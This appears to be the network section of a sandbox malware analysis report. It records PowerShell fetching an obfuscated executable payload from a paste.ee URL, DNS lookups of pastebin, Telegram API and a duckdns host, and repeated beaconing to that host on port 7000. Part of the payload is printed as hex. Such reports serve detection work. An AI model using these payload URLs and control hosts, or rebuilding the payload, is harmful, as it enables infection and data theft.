                                                                                                                                        Nov 20, 2024 11:07:34.543401003 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.543515921 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.543688059 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.543698072 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.554233074 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:38.577193022 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:38.584522963 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:38.894733906 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:38.896740913 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:38.904257059 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.489749908 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.670592070 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:39.898804903 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:39.904001951 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.904015064 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.904037952 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.904047966 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.904057980 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.904067039 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:39.904078007 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.607132912 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.651551008 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:44.728533030 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.728573084 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.728676081 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.728698015 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.728707075 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.728717089 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:44.728744030 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:46.958638906 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:47.027633905 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:47.358542919 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:47.366221905 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:47.672058105 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:47.674648046 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:47.679718018 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.441932917 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.498995066 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:49.504285097 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.504342079 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.504370928 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.504542112 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.504571915 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.504601002 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:49.504730940 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.439188957 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.476839066 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:54.483701944 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.483712912 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.484510899 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.484519958 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.484527111 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.484534979 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:54.484549046 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.441482067 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.496699095 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:59.505222082 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.505234003 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.505243063 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.506336927 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.506345987 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.506356001 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:59.506365061 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:01.202364922 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:01.209494114 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:01.523369074 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:01.527071953 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:01.534862995 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.443474054 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.495495081 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:04.500478029 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.500533104 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.500545979 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.500641108 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.500653982 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.500665903 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:04.500711918 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.442152977 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.493499994 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:09.503623962 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.503639936 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.503650904 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.503659964 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.503669977 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.503690958 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:09.503701925 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:10.780328989 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:10.791657925 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:11.107004881 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:11.108896971 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:11.116027117 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.435992956 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.482980967 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:14.536004066 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:14.541109085 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.541121960 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.541131020 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.541141033 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.541189909 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.541198969 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:14.541208982 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:16.939790964 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:16.983026028 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:19.435970068 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.485930920 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:19.490961075 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.490978003 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.490993977 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.491075993 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.491089106 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.491101980 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:19.491113901 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.452044964 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.491964102 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:24.497103930 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.497128963 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.497143030 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.497322083 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.497406960 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.497416019 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.497426987 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:24.623810053 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:24.628751993 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:25.143353939 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:25.146421909 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:25.154483080 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:27.646393061 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:27.655205965 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:27.966603041 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:27.968544960 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:27.976795912 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.464679003 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.543437004 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:29.548383951 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:29.553437948 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.553455114 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.553462982 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.553642035 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.553687096 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.553694963 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:29.553703070 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.449141026 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.537173033 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:34.545069933 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.545171022 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.545186043 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.545291901 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.545305014 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.545317888 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:34.545330048 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.448894024 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.517443895 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:39.522505999 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.522531986 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.522551060 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.522562981 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.522629023 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.522685051 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:39.522699118 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:41.483589888 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:41.491729021 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:41.802067041 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:41.803710938 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:41.808763027 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.452418089 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.492270947 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:44.500344038 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.500356913 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.500386000 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.503793955 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.503834009 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.503843069 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:44.503850937 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:46.939506054 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:47.037125111 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:49.460203886 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.522847891 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:08:49.527872086 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.527885914 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.527894974 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.528002024 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.528011084 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.528021097 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:49.528028965 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:54.523128033 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:08:54.576868057 CET497497000192.168.2.4178.73.218.6

                                                                                                                                        UDP Packets

                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                        Nov 20, 2024 11:06:12.049154043 CET5179753192.168.2.41.1.1.1
                                                                                                                                        Nov 20, 2024 11:06:12.716407061 CET53517971.1.1.1192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:15.739958048 CET4985253192.168.2.41.1.1.1
                                                                                                                                        Nov 20, 2024 11:06:15.747612000 CET53498521.1.1.1192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:25.485920906 CET5600453192.168.2.41.1.1.1
                                                                                                                                        Nov 20, 2024 11:06:25.493290901 CET53560041.1.1.1192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:26.324707985 CET5273553192.168.2.41.1.1.1
                                                                                                                                        Nov 20, 2024 11:06:26.370735884 CET53527351.1.1.1192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:37.261687994 CET5593553192.168.2.41.1.1.1
                                                                                                                                        Nov 20, 2024 11:06:37.270049095 CET53559351.1.1.1192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:42.820410967 CET6117353192.168.2.41.1.1.1
                                                                                                                                        Nov 20, 2024 11:06:42.940495014 CET53611731.1.1.1192.168.2.4

                                                                                                                                        DNS Queries

                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                        Nov 20, 2024 11:06:12.049154043 CET192.168.2.41.1.1.10xc047Standard query (0)ftp.desckvbrat.com.brA (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:15.739958048 CET192.168.2.41.1.1.10x67e3Standard query (0)paste.eeA (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:25.485920906 CET192.168.2.41.1.1.10xc443Standard query (0)pastebin.comA (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:26.324707985 CET192.168.2.41.1.1.10x7db2Standard query (0)masclauxtoitures.frA (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:37.261687994 CET192.168.2.41.1.1.10xe5f0Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:42.820410967 CET192.168.2.41.1.1.10x50f8Standard query (0)moneyluck.duckdns.orgA (IP address)IN (0x0001)false

                                                                                                                                        DNS Answers

                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                        Nov 20, 2024 11:06:12.716407061 CET1.1.1.1192.168.2.40xc047No error (0)ftp.desckvbrat.com.brdesckvbrat.com.brCNAME (Canonical name)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:12.716407061 CET1.1.1.1192.168.2.40xc047No error (0)desckvbrat.com.br191.252.83.213A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:15.747612000 CET1.1.1.1192.168.2.40x67e3No error (0)paste.ee188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:15.747612000 CET1.1.1.1192.168.2.40x67e3No error (0)paste.ee188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:25.493290901 CET1.1.1.1192.168.2.40xc443No error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:25.493290901 CET1.1.1.1192.168.2.40xc443No error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:25.493290901 CET1.1.1.1192.168.2.40xc443No error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:26.370735884 CET1.1.1.1192.168.2.40x7db2No error (0)masclauxtoitures.fr64.235.43.128A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:37.270049095 CET1.1.1.1192.168.2.40xe5f0No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                        Nov 20, 2024 11:06:42.940495014 CET1.1.1.1192.168.2.40x50f8No error (0)moneyluck.duckdns.org178.73.218.6A (IP address)IN (0x0001)false

                                                                                                                                        HTTP Request Dependency Graph

                                                                                                                                        • paste.ee
                                                                                                                                        • pastebin.com
                                                                                                                                        • masclauxtoitures.fr
                                                                                                                                        • api.telegram.org

                                                                                                                                        HTTPS Proxied Packets

                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        0192.168.2.449732188.114.97.34435764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:16 UTC67OUTGET /d/I1o5h/0 HTTP/1.1
                                                                                                                                        Host: paste.ee
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:16 UTC1232INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:16 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        Cache-Control: max-age=2592000
                                                                                                                                        strict-transport-security: max-age=63072000
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1; mode=block
                                                                                                                                        content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B5%2FZE4Kz7nUsFRq5Z7schlcD529q5KWc0KQUKV9iuJNbSJr8YoOU9iFhWq9JKDufjayh5zdxg36WSZA7716%2FEq9OsjQHK2L8KL3bSq573tinf6OAZ%2BE1S1by6A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a058185dc443-EWR
                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                        2024-11-20 10:06:16 UTC190INData Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 36 32 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 37 33 31 39 30 39 26 63 77 6e 64 3d 32 33 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 66 35 63 30 37 34 35 66 65 31 34 31 66 64 30 32 26 74 73 3d 32 31 37 26 78 3d 30 22 0d 0a 0d 0a
                                                                                                                                        Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1662&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2816&recv_bytes=681&delivery_rate=1731909&cwnd=238&unsent_bytes=0&cid=f5c0745fe141fd02&ts=217&x=0"
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 32 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                                                                                                        Data Ascii: 2f7fTVqQ::M::::E:::://8::Lg:::::::::Q:::::::::::::
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                                                                                                        Data Ascii: :B:::B::::::E:::E::::::::B:::::::::::::::
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 e2 86
                                                                                                                                        Data Ascii: M:::::I::::::::::::::::::C:::G:ucnNyYw:::GgD::::Y
